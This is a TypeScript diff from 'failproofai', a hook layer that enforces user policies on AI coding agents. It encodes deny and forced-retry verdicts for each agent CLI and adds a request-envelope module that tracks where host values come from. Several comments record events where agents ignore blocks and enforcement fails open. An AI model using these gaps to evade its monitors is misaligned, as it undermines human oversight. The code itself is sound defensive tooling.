`MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; return { exitCode: 0, - stdout: JSON.stringify(response), + stdout: JSON.stringify({ followup_message: reasonText }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } - - // Hermes: the block contract is `{"decision":"block","reason"}` on stdout; - // Hermes IGNORES exit codes, so the JSON is the only channel. A block on - // PreToolUse stops the tool before it runs, regardless of the originating - // platform (slack/telegram/cli/cron) or subagent. - // - // Only `pre_tool_call` and `pre_verify` are gated in upstream's - // `_parse_response` (agent/shell_hooks.py:567-621); the shape is still - // emitted for the other installed events, where it is read by nothing. - // We do not install `pre_verify` (see the note in types.ts), so Hermes - // has no canonical Stop event and no Stop branch is needed here. - if (session?.cli === "hermes") { + // `beforeSubmitPrompt` does NOT read `permission`. Its only block key + // is `continue: false` (+ an optional `user_message` shown to the + // user); an object carrying unknown keys validates and is dropped, so + // the flat deny below was inert and every prompt went through. Verified + // against cursor-agent 2026.07.16-899851b, 1931.index.js char 887883. + if (eventType === "UserPromptSubmit") { return { exitCode: 0, - stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stdout: JSON.stringify({ continue: false, user_message: blockedMessage }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } + const response = { + permission: "deny", + user_message: blockedMessage, + agent_message: blockedMessage, + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } - // OpenClaw: the shipped openclaw-plugin parses a flat {permission, reason} - // verdict and maps it per plugin-hook — before_tool_call → {block:true, - // blockReason}; before_agent_run → {outcome:"block", reason}; - // before_agent_finalize (Stop) → {action:"revise", reason}. For Stop we - // emit the MANDATORY ACTION wording so the revise loop carries the - // directive. Observation hooks (after_tool_call / session_* / - // subagent_ended / before_compaction) ignore stdout, so the flat deny is - // logged but cannot veto — a documented limitation. Mirrors the Pi branch. - if (session?.cli === "openclaw") { - if (eventType === "Stop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - return { - exitCode: 0, - stdout: JSON.stringify({ permission: "deny", reason: reasonText }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } + // Pi's shim parses a flat `{permission, reason}` JSON shape from stdout + // and translates `permission === "deny"` into a `{block: true, reason}` + // return value from its `pi.on("tool_call", ...)` handler. Pi has no + // event-specific decision wrappers, so all events flow through the + // same flat shape — except Stop, where we emit the MANDATORY ACTION + // wording so the shim can re-inject it as a system-prompt suffix on + // the next before_agent_start (Pi cannot veto agent_end directly). + // Mirrors the Cursor/Copilot/OpenCode Stop branches above. + if (session?.cli === "pi") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; return { exitCode: 0, - stdout: JSON.stringify({ permission: "deny", reason: blockedMessage }), + stdout: JSON.stringify({ permission: "deny", reason: reasonText }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } + const response = { + permission: "deny", + reason: blockedMessage, + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } - // OpenCode: `session.idle` is a notification-only bus event — by the - // time the plugin handler fires, OpenCode has already gone idle and - // throwing from the handler does not force-retry. The only working - // channel is the shim's `client.session.prompt(...)` SDK call, which - // submits a new user message that re-triggers the agent loop. The - // shim already routes `hookSpecificOutput.additionalContext` through - // that path (see buildOpenCodePluginShim's applyDecision), so we emit - // the deny reason as additionalContext instead of exit-2. Mirrors the - // Cursor `followup_message` and Copilot `{decision:"block"}` Stop - // branches. SubagentStop is widened in for forward - // compat — OpenCode doesn't yet expose subagent boundaries to plugins. - if (session?.cli === "opencode") { - if (eventType === "Stop" || eventType === "SubagentStop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - return { - exitCode: 0, - stdout: JSON.stringify({ hookSpecificOutput: { additionalContext: reasonText } }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - // Non-Stop opencode events keep the generic Claude shape — the - // shim's applyDecision already handles permissionDecision: "deny" - // for tool events. - } + // Hermes: the block contract is `{"decision":"block","reason"}` on stdout; + // Hermes IGNORES exit codes, so the JSON is the only channel. A block on + // PreToolUse stops the tool before it runs, regardless of the originating + // platform (slack/telegram/cli/cron) or subagent. + // + // Only `pre_tool_call` and `pre_verify` are gated in upstream's + // `_parse_response` (agent/shell_hooks.py:567-621); the shape is still + // emitted for the other installed events, where it is read by nothing. + // We do not install `pre_verify` (see the note in types.ts), so Hermes + // has no canonical Stop event and no Stop branch is needed here. + if (session?.cli === "hermes") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } - // Factory droid: droid drives tool blocking off EXIT CODE 2 (it ignores a - // JSON `{decision:…}` on tool events — verified live against droid - // v0.171.0: `Hook returned exit code 2, throwing ToolExecutionControlError`). - // The one exception is `Stop`, where droid does NOT honor exit-2 - // force-retry; there it reads `{decision:"block", reason}` on stdout at - // exit 0 ("if decision is block, Droid does not stop"). So: Stop → JSON - // block; every other event (PreToolUse / PostToolUse / UserPromptSubmit / - // SubagentStop / …) → exit 2 + the blocked message on stderr. - if (session?.cli === "factory") { - if (eventType === "Stop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - return { - exitCode: 0, - stdout: JSON.stringify({ decision: "block", reason: reasonText }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } + // OpenClaw: the shipped openclaw-plugin parses a flat {permission, reason} + // verdict and maps it per plugin-hook — before_tool_call → {block:true, + // blockReason}; before_agent_run → {outcome:"block", reason}; + // before_agent_finalize (Stop) → {action:"revise", reason}. For Stop we + // emit the MANDATORY ACTION wording so the revise loop carries the + // directive. Observation hooks (after_tool_call / session_* / + // subagent_ended / before_compaction) ignore stdout, so the flat deny is + // logged but cannot veto — a documented limitation. Mirrors the Pi branch. + if (session?.cli === "openclaw") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; return { - exitCode: 2, - stdout: "", - stderr: blockedMessage + "\n", - policyName: policy.name, + exitCode: 0, + stdout: JSON.stringify({ permission: "deny", reason: reasonText }), + stderr: "", + policyName, reason, decision: "deny", }; } + return { + exitCode: 0, + stdout: JSON.stringify({ permission: "deny", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } - // Devin CLI: a pure Claude-clone that honors `{decision:"block", reason}` - // on stdout at exit 0 for EVERY event (verified live against devin - // v3000.1.27 — the block overrode `--permission-mode dangerous`). On Stop - // the reason carries the MANDATORY-ACTION force-retry wording; on other - // events it's the plain blocked message. One branch covers all events. - if (session?.cli === "devin") { - const reasonText = - eventType === "Stop" - ? `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.` - : blockedMessage; + // OpenCode: `session.idle` is a notification-only bus event — by the + // time the plugin handler fires, OpenCode has already gone idle and + // throwing from the handler does not force-retry. The only working + // channel is the shim's `client.session.prompt(...)` SDK call, which + // submits a new user message that re-triggers the agent loop. The + // shim already routes `hookSpecificOutput.additionalContext` through + // that path (see buildOpenCodePluginShim's applyDecision), so we emit + // the deny reason as additionalContext instead of exit-2. Mirrors the + // Cursor `followup_message` and Copilot `{decision:"block"}` Stop + // branches. SubagentStop is widened in for forward + // compat — OpenCode doesn't yet expose subagent boundaries to plugins. + if (session?.cli === "opencode") { + if (eventType === "Stop" || eventType === "SubagentStop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; return { exitCode: 0, - stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stdout: JSON.stringify({ hookSpecificOutput: { additionalContext: reasonText } }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } + // Non-Stop opencode events keep the generic Claude shape — the + // shim's applyDecision already handles permissionDecision: "deny" + // for tool events. + } - // Antigravity CLI: its OWN response shapes (NOT Claude's) — verified live - // against agy v1.1.2. Tool/prompt events honor `{decision:"deny", reason}` - // on stdout at exit 0 (hard block). The Stop event has no exit-2 retry; - // instead `{decision:"continue", reason}` re-enters the loop and injects - // the reason as a system message — that is how the 5 require-*-before-stop - // builtins enforce on Antigravity. - if (session?.cli === "antigravity") { - if (eventType === "Stop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - return { - exitCode: 0, - stdout: JSON.stringify({ decision: "continue", reason: reasonText }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } + // Factory droid: droid drives tool blocking off EXIT CODE 2 (it ignores a + // JSON `{decision:…}` on tool events — verified live against droid + // v0.171.0: `Hook returned exit code 2, throwing ToolExecutionControlError`). + // The one exception is `Stop`, where droid does NOT honor exit-2 + // force-retry; there it reads `{decision:"block", reason}` on stdout at + // exit 0 ("if decision is block, Droid does not stop"). So: Stop → JSON + // block; every other event (PreToolUse / PostToolUse / UserPromptSubmit / + // SubagentStop / …) → exit 2 + the blocked message on stderr. + if (session?.cli === "factory") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; return { exitCode: 0, - stdout: JSON.stringify({ decision: "deny", reason: blockedMessage }), + stdout: JSON.stringify({ decision: "block", reason: reasonText }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } + return { + exitCode: 2, + stdout: "", + stderr: blockedMessage + "\n", + policyName, + reason, + decision: "deny", + }; + } - // Goose: the deny contract is `{"decision":"block","reason"}` on stdout at - // exit 0, honored on PreToolUse ONLY (shipped goose ≥ v1.37.0, PR - // block/goose#9304; exit 2 also blocks but JSON carries the reason - // cleanly). Goose has NO Stop event (the 5 require-*-before-stop builtins - // never fire for it — see CLAUDE.md) and does NOT honor deny on - // UserPromptSubmit/PostToolUse (observation) — a block emitted on those - // events is ignored (fail-open), a documented limitation. PreToolUse fires - // for the shell tool AND inside delegated subagents, so this one branch - // covers the entire enforceable surface. Mirrors the Hermes branch (no - // turn-end event to special-case). Verified live against goose v1.43.0. - if (session?.cli === "goose") { + // Devin CLI: a pure Claude-clone that honors `{decision:"block", reason}` + // on stdout at exit 0 for EVERY event (verified live against devin + // v3000.1.27 — the block overrode `--permission-mode dangerous`). On Stop + // the reason carries the MANDATORY-ACTION force-retry wording; on other + // events it's the plain blocked message. One branch covers all events. + if (session?.cli === "devin") { + const reasonText = + eventType === "Stop" + ? `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.` + : blockedMessage; + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: reasonText }), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } + + // Antigravity CLI: its OWN response shapes (NOT Claude's) — verified live + // against agy v1.1.2. Tool/prompt events honor `{decision:"deny", reason}` + // on stdout at exit 0 (hard block). The Stop event has no exit-2 retry; + // instead `{decision:"continue", reason}` re-enters the loop and injects + // the reason as a system message — that is how the 5 require-*-before-stop + // builtins enforce on Antigravity. + if (session?.cli === "antigravity") { + if (eventType === "Stop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; return { exitCode: 0, - stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stdout: JSON.stringify({ decision: "continue", reason: reasonText }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "deny", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } - if (eventType === "PreToolUse") { - const response = { - hookSpecificOutput: { - hookEventName: eventType, - permissionDecision: "deny", - permissionDecisionReason: blockedMessage, - }, - }; + // Goose: the deny contract is `{"decision":"block","reason"}` on stdout at + // exit 0, honored on PreToolUse ONLY (shipped goose ≥ v1.37.0, PR + // block/goose#9304; exit 2 also blocks but JSON carries the reason + // cleanly). Goose has NO Stop event (the 5 require-*-before-stop builtins + // never fire for it — see CLAUDE.md) and does NOT honor deny on + // UserPromptSubmit/PostToolUse (observation) — a block emitted on those + // events is ignored (fail-open), a documented limitation. PreToolUse fires + // for the shell tool AND inside delegated subagents, so this one branch + // covers the entire enforceable surface. Mirrors the Hermes branch (no + // turn-end event to special-case). Verified live against goose v1.43.0. + if (session?.cli === "goose") { + return { + exitCode: 0, + stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } + + if (eventType === "PreToolUse") { + const response = { + hookSpecificOutput: { + hookEventName: eventType, + permissionDecision: "deny", + permissionDecisionReason: blockedMessage, + }, + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } + + // Copilot reads two shapes we were not sending, so a deny on either of + // these events was emitted, logged, counted as enforcement — and ignored. + // Both verified against the shipped @github/copilot-linux-x64 bundle. + // Note exit 2 is NEVER a deny channel on copilot for any event; it is + // logged as `Hook command exited with code 2 (warning)`. + if (session?.cli === "copilot") { + // `userPromptSubmit` gates the turn, but only on {decision:"block"} at + // exit 0 (consumer app.js@2823018). We were emitting exit 2 + stderr, + // which copilot warns about and then submits the prompt anyway. + if (eventType === "UserPromptSubmit") { return { exitCode: 0, - stdout: JSON.stringify(response), + stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } - - // Copilot reads two shapes we were not sending, so a deny on either of - // these events was emitted, logged, counted as enforcement — and ignored. - // Both verified against the shipped @github/copilot-linux-x64 bundle. - // Note exit 2 is NEVER a deny channel on copilot for any event; it is - // logged as `Hook command exited with code 2 (warning)`. - if (session?.cli === "copilot") { - // `userPromptSubmit` gates the turn, but only on {decision:"block"} at - // exit 0 (consumer app.js@2823018). We were emitting exit 2 + stderr, - // which copilot warns about and then submits the prompt anyway. - if (eventType === "UserPromptSubmit") { - return { - exitCode: 0, - stdout: JSON.stringify({ decision: "block", reason: blockedMessage }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - // Copilot consumes a FLAT {behavior, message} here (normalizer - // CMn@179042 -> mapper h4t@2686538). The Codex-shaped nested - // hookSpecificOutput.decision below normalizes to `{}` on copilot, so - // the permission prompt proceeded as if no policy existed. - if (eventType === "PermissionRequest") { - return { - exitCode: 0, - stdout: JSON.stringify({ behavior: "deny", message: blockedMessage }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - } - + // Copilot consumes a FLAT {behavior, message} here (normalizer + // CMn@179042 -> mapper h4t@2686538). The Codex-shaped nested + // hookSpecificOutput.decision below normalizes to `{}` on copilot, so + // the permission prompt proceeded as if no policy existed. if (eventType === "PermissionRequest") { - // Codex-only: hookSpecificOutput.decision.behavior = "allow" | "deny" - // (per https://developers.openai.com/codex/hooks#permissionrequest). - const response = { - hookSpecificOutput: { - hookEventName: eventType, - decision: { - behavior: "deny", - message: `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`, - }, - }, - }; return { exitCode: 0, - stdout: JSON.stringify(response), + stdout: JSON.stringify({ behavior: "deny", message: blockedMessage }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } + } - if (eventType === "PostToolUse") { - const response = { - hookSpecificOutput: { - hookEventName: eventType, - additionalContext: `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`, + if (eventType === "PermissionRequest") { + // Codex-only: hookSpecificOutput.decision.behavior = "allow" | "deny" + // (per https://developers.openai.com/codex/hooks#permissionrequest). + const response = { + hookSpecificOutput: { + hookEventName: eventType, + decision: { + behavior: "deny", + message: `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`, }, - }; + }, + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } + + if (eventType === "PostToolUse") { + const response = { + hookSpecificOutput: { + hookEventName: eventType, + additionalContext: `Blocked ${displayTool} by failproofai because: ${reason}, as per the policy configured by the user`, + }, + }; + return { + exitCode: 0, + stdout: JSON.stringify(response), + stderr: "", + policyName, + reason, + decision: "deny", + }; + } + + if (eventType === "Stop" || eventType === "SubagentStop") { + const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policyName}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; + // Copilot CLI: `agentStop` and `subagentStop` both honor + // `{decision: "block", reason}` JSON on stdout — the reason becomes the + // next-turn prompt and the agent (or subagent) retries. Exit-2 is logged + // as `[WARNING] Hook warning: ...` (verified empirically against Copilot + // CLI 1.0.41 events.jsonl) but does NOT trigger retry. We branch on both + // event types so that custom policies matching SubagentStop also enforce + // on Copilot subagent boundaries; the 5 builtin require-*-before-stop + // policies still match Stop only by design — they are session-completion + // gates (commit/push/PR/conflicts/CI), not subagent-return gates. + // Ref: https://docs.github.com/en/copilot/reference/copilot-cli-reference/cli-hooks-reference + if (session?.cli === "copilot") { return { exitCode: 0, - stdout: JSON.stringify(response), + stdout: JSON.stringify({ decision: "block", reason: reasonText }), stderr: "", - policyName: policy.name, + policyName, reason, decision: "deny", }; } - - if (eventType === "Stop" || eventType === "SubagentStop") { - const reasonText = `MANDATORY ACTION REQUIRED from failproofai (policy: ${policy.name}): ${reason}\n\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.`; - // Copilot CLI: `agentStop` and `subagentStop` both honor - // `{decision: "block", reason}` JSON on stdout — the reason becomes the - // next-turn prompt and the agent (or subagent) retries. Exit-2 is logged - // as `[WARNING] Hook warning: ...` (verified empirically against Copilot - // CLI 1.0.41 events.jsonl) but does NOT trigger retry. We branch on both - // event types so that custom policies matching SubagentStop also enforce - // on Copilot subagent boundaries; the 5 builtin require-*-before-stop - // policies still match Stop only by design — they are session-completion - // gates (commit/push/PR/conflicts/CI), not subagent-return gates. - // Ref: https://docs.github.com/en/copilot/reference/copilot-cli-reference/cli-hooks-reference - if (session?.cli === "copilot") { - return { - exitCode: 0, - stdout: JSON.stringify({ decision: "block", reason: reasonText }), - stderr: "", - policyName: policy.name, - reason, - decision: "deny", - }; - } - return { - exitCode: 2, - stdout: "", - stderr: reasonText, - policyName: policy.name, - reason, - decision: "deny", - }; - } - - // Other event types (Cursor case already handled above): exit 2 return { exitCode: 2, stdout: "", - stderr: reason, - policyName: policy.name, + stderr: reasonText, + policyName, reason, decision: "deny", }; } - // Accumulate all instruct results (does not short-circuit — later policies can still deny) - if (result.decision === "instruct") { - const reason = appendHint( - result.reason ?? `Instruction from policy: ${policy.name}`, - getConfigParamsFor(config, policy.name)?.hint, - ); - instructEntries.push({ policyName: policy.name, reason }); - hookLogInfo(`instruct by "${policy.name}": ${reason}`); - } - - // Accumulate informational messages from allow decisions - if (result.decision === "allow" && result.reason) { - allowEntries.push({ policyName: policy.name, reason: result.reason }); - } + // Other event types (Cursor case already handled above): exit 2 + return { + exitCode: 2, + stdout: "", + stderr: reason, + policyName, + reason, + decision: "deny", + }; } // No deny — check if we accumulated any instructs @@ -1003,3 +1057,12 @@ export async function evaluatePolicies( } return { exitCode: 0, stdout: "", stderr: "", policyName: null, reason: null, decision: "allow" }; } + +export async function evaluatePolicies( + eventType: HookEventType, + payload: Record, + session?: SessionMetadata, + config?: HooksConfig, +): Promise { + return encodeResponse(await evaluateVerdicts(eventType, payload, session, config), eventType, session); +} diff --git a/src/hooks/request-envelope.ts b/src/hooks/request-envelope.ts new file mode 100644 index 00000000..26ef9407 --- /dev/null +++ b/src/hooks/request-envelope.ts @@ -0,0 +1,337 @@ +/** + * The canonical, location-independent evaluation-request envelope. + * + * Phase 1 / Stage 0 item **P4** ("move session-metadata resolution to the + * caller"). Everything the evaluator needs to decide a hook event travels in + * one typed value, so the same request is answerable by the in-process legacy + * path today and by `failproofaid` over a framed socket tomorrow — without the + * evaluator ever reading ambient host state (`homedir()`, `process.env`, + * `process.cwd()`, or the user's transcript tree) for itself. + * + * ## Provenance is part of the contract + * + * Amendment #3 of + * `desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/03-risks-and-amendments.md`: + * request context is **not** uniform, and pretending it is would ship a + * security claim that is not true. + * + * • `home` is **daemon-derived** — `getpwuid_r(peer_uid)` in Stage 1, i.e. + * read from the kernel's view of the peer, never from the request. This is + * not pedantry: `isAgentInternalPath` and `block-read-outside-cwd` both + * *widen* the allow set, so a client asserting `home: "/"` would make every + * path on the machine "agent internal" — a forged input relaxing a sealed + * verdict. A client-asserted `home` is therefore a **protocol error** + * ({@link EnvelopeProtocolError}), not a degraded input. On the in-process + * legacy path there is no peer to derive from — the reader and the subject + * are the same process — so the value comes from `os.homedir()` and is + * labeled `"local"`. + * + * • `cwd`, `projectDir`, and `envFacts` genuinely cannot be derived — + * `/proc//cwd` is TOCTOU-prone and unavailable on macOS to a + * non-matching UID — so they ride as `"client-asserted"` with explicit + * provenance. A decision whose deciding policy read one of them is + * `sealed_unattested` (see {@link sealedUnattested}); Stage 1+ records that + * in decision evidence and `policies explain` reports it. Provenance is + * what this records — which inputs the enforcer derived — and not verdict + * integrity, which v1.0.0's user scope does not claim. + * + * ## Import purity + * + * This module has **no runtime imports at all** — only `import type`, which + * TypeScript erases. That is load-bearing, not tidiness: a later stage derives + * a policy's sealed / `user-context` execution tier from its *resolved* import + * graph, so anything reachable from a module that sits on the sealed path + * decides that module's tier. Consequently the one function that needs host + * state, {@link buildLocalEnvelope}, does not read it either — it takes + * {@link LocalHostFacts} and only *labels* them. The single read site is + * `readLocalHostFacts()` in `./local-host`, which owns the `node:os` import. + */ +import type { HookEventType, IntegrationType, SessionMetadata } from "./types"; + +/** Bumped when the wire shape below changes incompatibly. */ +export const ENVELOPE_PROTOCOL_VERSION = 1; + +// ── Environment facts ────────────────────────────────────────────────────── + +/** + * The closed set of environment variables a policy may observe. + * + * Deliberately an allowlist, never `process.env` wholesale: the envelope + * crosses a privilege boundary in Stage 1, and the daemon must not become a + * channel for a hook client's entire environment (tokens, keys, proxy creds). + * `CLAUDE_PROJECT_DIR` is the only one any policy reads today — + * `builtin-policies.ts` prefers it over `ctx.session.cwd` as the stable project + * root. Adding a key here is a deliberate contract change. + */ +export const ENV_FACT_KEYS = ["CLAUDE_PROJECT_DIR"] as const; + +export type EnvFactKey = (typeof ENV_FACT_KEYS)[number]; + +/** Bounded, explicitly enumerated environment facts. Never the whole env. */ +export type EnvFacts = Readonly>>; + +/** + * Project `env` down to {@link ENV_FACT_KEYS}. Pure: the caller supplies the + * environment, so this stays testable and host-free. Empty strings are dropped + * — an exported-but-empty variable carries no more information than an unset + * one, and treating it as a value would make `projectDir` an empty path. + */ +export function selectEnvFacts(env: Readonly>): EnvFacts { + const out: Partial> = {}; + for (const key of ENV_FACT_KEYS) { + const value = env[key]; + if (typeof value === "string" && value.length > 0) out[key] = value; + } + return out; +} + +// ── Host block ───────────────────────────────────────────────────────────── + +/** + * Where a host field's value came from. + * + * • `daemon-derived` — the daemon computed it from the OS view of the peer + * (`getpwuid_r(peer_uid)`). Nothing the client sent could influence it. + * • `local` — the in-process legacy path read it from its own + * process. Equally underived-from-the-request, because there is no + * boundary: the reader and the subject are the same process. + * • `client-asserted` — the requester supplied it and nothing verified it. + */ +export type HostFieldProvenance = "daemon-derived" | "local" | "client-asserted"; + +/** The provenances that are *not* client-asserted, i.e. attested. */ +export type AttestedProvenance = Exclude; + +export interface HostField { + readonly value: T; + readonly provenance: P; +} + +/** Every host field a decision can be said to have "read". */ +export const HOST_FIELD_NAMES = ["home", "cwd", "projectDir", "envFacts"] as const; + +export type HostFieldName = (typeof HOST_FIELD_NAMES)[number]; + +/** + * The host block **as it arrives**, before validation. + * + * `home` is typed with the full provenance union here on purpose: a forged, + * client-asserted home must be *representable* in order to be *rejectable*. + * If the type made it unspellable, the only way to encounter one would be an + * unchecked cast at the boundary — which is exactly where it would go + * unnoticed. {@link assertHostContext} narrows this to {@link HostContext}. + */ +export interface UnvalidatedHostContext { + readonly home: HostField; + readonly cwd: HostField; + readonly projectDir: HostField; + readonly envFacts: HostField; +} + +/** A host block that has passed {@link assertHostContext}. */ +export interface HostContext extends UnvalidatedHostContext { + readonly home: HostField; +} + +export type EnvelopeProtocolErrorCode = "client_asserted_home"; + +/** A malformed request, as distinct from a request that merely decides `allow`. */ +export class EnvelopeProtocolError extends Error { + readonly code: EnvelopeProtocolErrorCode; + readonly field: HostFieldName; + + constructor(code: EnvelopeProtocolErrorCode, field: HostFieldName, message: string) { + super(message); + this.name = "EnvelopeProtocolError"; + this.code = code; + this.field = field; + } +} + +/** + * Non-throwing validation. Returns the violation, or `null` when the host + * block is well-formed. + */ +export function checkHostContext(host: UnvalidatedHostContext): EnvelopeProtocolError | null { + if (host.home.provenance === "client-asserted") { + return new EnvelopeProtocolError( + "client_asserted_home", + "home", + "protocol error: `home` must be daemon-derived (getpwuid_r of the peer UID) " + + "or locally read; a client-asserted home widens isAgentInternalPath and " + + "block-read-outside-cwd and is never accepted", + ); + } + return null; +} + +/** Throwing form of {@link checkHostContext}; narrows to {@link HostContext}. */ +export function assertHostContext(host: UnvalidatedHostContext): asserts host is HostContext { + const violation = checkHostContext(host); + if (violation) throw violation; +} + +/** + * Did this decision depend on anything the client asserted? + * + * `fieldsRead` is the set of host fields the deciding policy actually consumed + * — not the set the envelope carried. A `block-sudo` verdict reads no host + * field at all and is fully attested even though the envelope contains a + * client-asserted `cwd`; a `block-read-outside-cwd` verdict reads `cwd` and is + * therefore `sealed_unattested`. + * + * Stage 0 ships the type and the pure function only — nothing consumes it yet. + * Stage 1+ writes the result into decision evidence and `policies explain` + * surfaces it. + * + * Fails *toward* unattested: a client-asserted `home` (a protocol error that + * should have been rejected upstream by {@link assertHostContext}) counts as + * unattested here rather than silently passing as attested. + */ +export function sealedUnattested( + host: UnvalidatedHostContext, + fieldsRead: Iterable, +): boolean { + for (const field of fieldsRead) { + if (host[field]?.provenance === "client-asserted") return true; + } + return false; +} + +// ── The envelope ─────────────────────────────────────────────────────────── + +/** + * Session identity resolved **by the caller**, not by the evaluator. + * + * `transcriptPath` and `permissionMode` are the P4 headline: resolving them + * means walking `~/.codex/sessions`, `~/.copilot/session-state`, and friends — + * trees whose size is unbounded, on the enforcement deadline path. The client + * is already walking them for the legacy path, so it resolves them once and + * ships the answers rather than making the daemon repeat the walk while a tool + * call waits. + */ +export interface EnvelopeSession { + readonly sessionId?: string; + readonly transcriptPath?: string; + readonly permissionMode?: string; + /** The stdin payload's `hook_event_name`, when present. */ + readonly hookEventName?: string; +} + +/** + * Everything the evaluator needs, and nothing it must go and find. + * + * `payload` is already canonicalized by the caller (per-CLI event name, tool + * name, and tool-input keys), so the evaluator never re-derives them. + */ +export interface EvaluationRequest { + readonly protocolVersion: typeof ENVELOPE_PROTOCOL_VERSION; + readonly cli: IntegrationType; + /** Canonical PascalCase event type. */ + readonly eventType: HookEventType; + /** The CLI-side event name as passed on `--hook`, before canonicalization. */ + readonly rawEventType: string; + /** Canonicalized hook stdin payload. */ + readonly payload: Record; + readonly session: EnvelopeSession; + readonly host: HostContext; +} + +// ── Construction ─────────────────────────────────────────────────────────── + +/** + * Raw host state, as read from the in-process host by `readLocalHostFacts()` + * in `./local-host` — the only module allowed to touch it. + */ +export interface LocalHostFacts { + /** `os.homedir()`. */ + readonly home: string; + /** {@link selectEnvFacts} over `process.env`. */ + readonly envFacts: EnvFacts; +} + +export interface LocalEnvelopeInput { + readonly cli: IntegrationType; + readonly eventType: HookEventType; + readonly rawEventType: string; + readonly payload: Record; + /** Already resolved by `resolveCwd(cli, payload)`. */ + readonly cwd?: string; + readonly sessionId?: string; + /** Already resolved by `resolveTranscriptPath(cli, payload, sessionId)`. */ + readonly transcriptPath?: string; + /** Already resolved by `resolvePermissionMode(cli, payload, sessionId)`. */ + readonly permissionMode?: string; + readonly hookEventName?: string; + readonly host: LocalHostFacts; +} + +/** + * Build the envelope for the in-process legacy path. + * + * Labels `home` `"local"` (this process read its own homedir — no boundary was + * crossed) and everything the harness told us `"client-asserted"`. + * `projectDir` is derived from the `CLAUDE_PROJECT_DIR` env fact, matching what + * `builtin-policies.ts` reads today, and inherits that fact's provenance. + * + * Per the module header this function does **not** read the host itself; it + * takes {@link LocalHostFacts} so this module stays import-pure. + */ +export function buildLocalEnvelope(input: LocalEnvelopeInput): EvaluationRequest { + return { + protocolVersion: 